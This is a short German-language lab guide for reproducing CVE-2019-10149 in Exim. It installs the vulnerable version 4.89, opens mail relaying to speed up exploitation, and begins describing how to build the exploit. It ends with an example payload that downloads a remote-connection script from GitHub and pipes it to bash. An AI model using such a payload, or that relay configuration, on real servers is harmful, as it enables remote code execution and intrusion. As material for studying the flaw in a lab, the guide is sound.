CVE-2019-10149 - Exim 4.87 < 4.91

Anleitung zur Installation einer verwundbaren Exim-Version und deren Ausnutzung Getestet auf Linux Ubuntu 16.04, Exim 4.89

Exim-Installation

Laden Sie Exim Version 4.89 herunter und entpacken Sie es

• wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz

Wechseln Sie in den extrahierten Ordner

• cd exim-4.89/

Kopieren und modifizieren Sie die erforderlichen Konfigurationsdateien

• sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile

• cp exim_monitor/EDITME Local/eximon.conf

Exim-Benutzer und -Gruppe erstellen

• sudo groupadd -g 31 exim

• sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim

Abhängigkeiten installieren

• sudo apt-get update
• sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev

Exim 4.89 installieren

• sudo make install

Bearbeiten Sie /usr/exim/configure, um Relaying zu erlauben, damit wir ohne 7 Tage warten ausnutzen können

• sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
• sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
• sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure

Exim als Benutzer exim ausführen

• sudo -H -u exim /usr/exim/bin/exim -bd -d-receive

Erstellung des Exploits

Konvertieren Sie Ihren Shell-Befehl in Hex. Beispiel:

• /bin/sh -c “wget https://raw.githubusercontent.com/hyim0810/CVE-2019-10149/main/RemoteConnection.sh" -O - | bash